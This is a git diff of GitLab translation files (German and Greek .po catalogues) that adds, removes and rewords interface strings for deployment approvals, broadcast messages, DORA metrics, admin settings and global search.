+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47420,7 +48132,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47449,6 +48161,9 @@ msgid_plural "You have %{pendingMembersCount} pending members that need approval
msgstr[0] ""
msgstr[1] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47566,6 +48281,9 @@ msgstr "Du musst Betreuerzugriff besitzen, um das Entfernen einer Sperre zu erzw
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47719,8 +48437,10 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr "Du hast %{user} abgelehnt"
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
msgid "YouTube"
msgstr "YouTube"
@@ -47958,6 +48678,9 @@ msgstr ""
msgid "Your name"
msgstr "Dein Name"
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47985,7 +48708,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48062,6 +48785,9 @@ msgstr "Deine Aktualisierung ist fehlgeschlagen. Du musst eine Datei mit demselb
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48263,6 +48989,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48499,10 +49228,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
+msgstr ""
+
+msgid "ciReport|Code Quality hasn't changed."
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48655,9 +49387,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr "Neue Sicherheitslücken sind Sicherheitslücken, die der Sicherheits-Scan im Merge-Request entdeckt, die sich von den vorhandenen Sicherheitslücken im Standard-Branch unterscheiden."
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr "Keine Änderungen an der Codequalität"
@@ -49142,9 +49871,6 @@ msgstr "ist nicht"
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr "ist keine gültige URL."
-
msgid "is not a valid X509 certificate."
msgstr "ist kein gültiges X509-Zertifikat."
@@ -49209,13 +49935,13 @@ msgid "issue"
msgstr ""
msgid "issues at risk"
-msgstr ""
+msgstr "verspätete Tickets"
msgid "issues need attention"
msgstr ""
msgid "issues on track"
-msgstr ""
+msgstr "Tickets im Zeitplan"
msgid "it is larger than %{limit}"
msgstr ""
@@ -49380,7 +50106,7 @@ msgid "mrWidget|An error occurred while submitting your approval."
msgstr "Während des Sendens deiner Genehmigung trat ein Fehler auf."
msgid "mrWidget|Approval is optional"
-msgstr ""
+msgstr "Genehmigung ist optional"
msgid "mrWidget|Approval password is invalid."
msgstr "Falsches Zustimmungspasswort."
@@ -49659,6 +50385,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr "muss nach dem Anfangsdatum liegen"
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49746,12 +50475,6 @@ msgstr "%{item}, %{nextItem}"
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr "%{item}, und %{lastItem}"
-msgid "only %{parent_types} can be parent of Task."
-msgstr "nur %{parent_types} kann der Aufgabe übergeordnet sein."
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50164,6 +50887,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr "Version %{versionIndex}"
diff --git a/locale/el_GR/gitlab.po b/locale/el_GR/gitlab.po
index f7a74885900..c6afb5b4f5b 100644
--- a/locale/el_GR/gitlab.po
+++ b/locale/el_GR/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: el\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:40\n"
+"PO-Revision-Date: 2023-01-10 06:44\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -750,6 +750,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -822,6 +825,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -953,6 +959,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -970,6 +982,11 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1008,9 +1025,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
msgstr[1] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1116,11 +1130,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1541,7 +1550,7 @@ msgstr[0] ""
msgstr[1] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgstr[1] ""
@@ -1768,6 +1777,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -1912,9 +1924,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -1963,9 +1972,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2125,7 +2131,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2203,6 +2209,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2581,15 +2590,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2671,9 +2683,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2701,6 +2722,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2755,6 +2782,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2824,6 +2854,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2998,9 +3034,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3292,7 +3328,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3337,6 +3373,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3595,6 +3634,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4237,9 +4279,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4408,15 +4447,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4450,9 +4480,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4704,6 +4731,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -4846,9 +4885,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4938,6 +4974,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5078,6 +5117,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5629,6 +5671,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5644,12 +5689,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7221,9 +7272,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -7820,6 +7955,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7931,13 +8069,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8220,6 +8355,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8379,12 +8517,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8568,6 +8700,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8693,6 +8828,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8795,12 +8933,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9466,21 +9610,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -9969,6 +10098,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -10860,6 +10992,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11253,6 +11388,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12149,6 +12287,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12173,6 +12314,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12185,7 +12329,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12206,6 +12353,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12227,6 +12380,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12245,6 +12404,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12266,6 +12434,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12275,6 +12449,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12290,9 +12467,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13210,11 +13384,10 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13279,6 +13452,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13660,9 +13836,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13678,6 +13860,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13761,6 +13949,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
msgstr[1] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14030,7 +14224,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14255,6 +14449,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14746,6 +14943,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15943,10 +16143,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15955,9 +16152,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16455,9 +16649,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16491,9 +16682,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16813,9 +17001,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17241,9 +17426,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17562,16 +17744,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17669,6 +17848,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18327,9 +18509,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18743,6 +18922,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18755,6 +18937,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18779,6 +18967,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18797,6 +18988,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18809,9 +19003,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19136,6 +19336,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
